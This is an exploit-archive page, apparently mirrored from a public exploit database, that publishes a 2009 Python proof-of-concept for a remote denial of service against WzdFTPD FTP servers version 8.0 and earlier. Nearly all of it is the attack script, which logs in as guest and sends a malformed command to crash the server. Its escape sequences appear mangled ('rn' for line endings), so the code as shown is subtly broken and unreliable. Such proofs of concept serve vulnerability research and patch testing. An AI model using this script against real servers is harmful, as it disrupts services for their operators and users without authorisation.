WzdFTPD <= 8.0 Remote Denial of Service Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : WzdFTPD <= 8.0 Remote Denial of Service Exploit
# Published : 2009-07-24
# Author : Jose Miguel Esparza
# Previous Title : Ekiga 2.0.5 (GetHostAddress) Remote Denial of Service Exploit
# Next Title : MS Internet Explorer 7/8 findText Unicode Parsing Crash Exploit

#!/usr/bin/env python
#
# WzdFTPD Denial of Service (<= 8.0)
#
# wzdftpd_dos.py by Jose Miguel Esparza
# 2007-01-19 S21sec labs

import sys,socket

user = "guest"
passw = "guest"
if len(sys.argv) != 3: 
	sys.exit("Usage: " + sys.argv[0] + " target_host target_portn")
target = sys.argv[1]
targetPort = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,targetPort))
s.recv(1024)
s.sendall("USER " + user + "rn")
s.recv(1024)
s.sendall("PASS " + passw + "rn")
s.recv(1024)
s.sendall("t")
s.close()

# www.Syue.com [2009-07-24]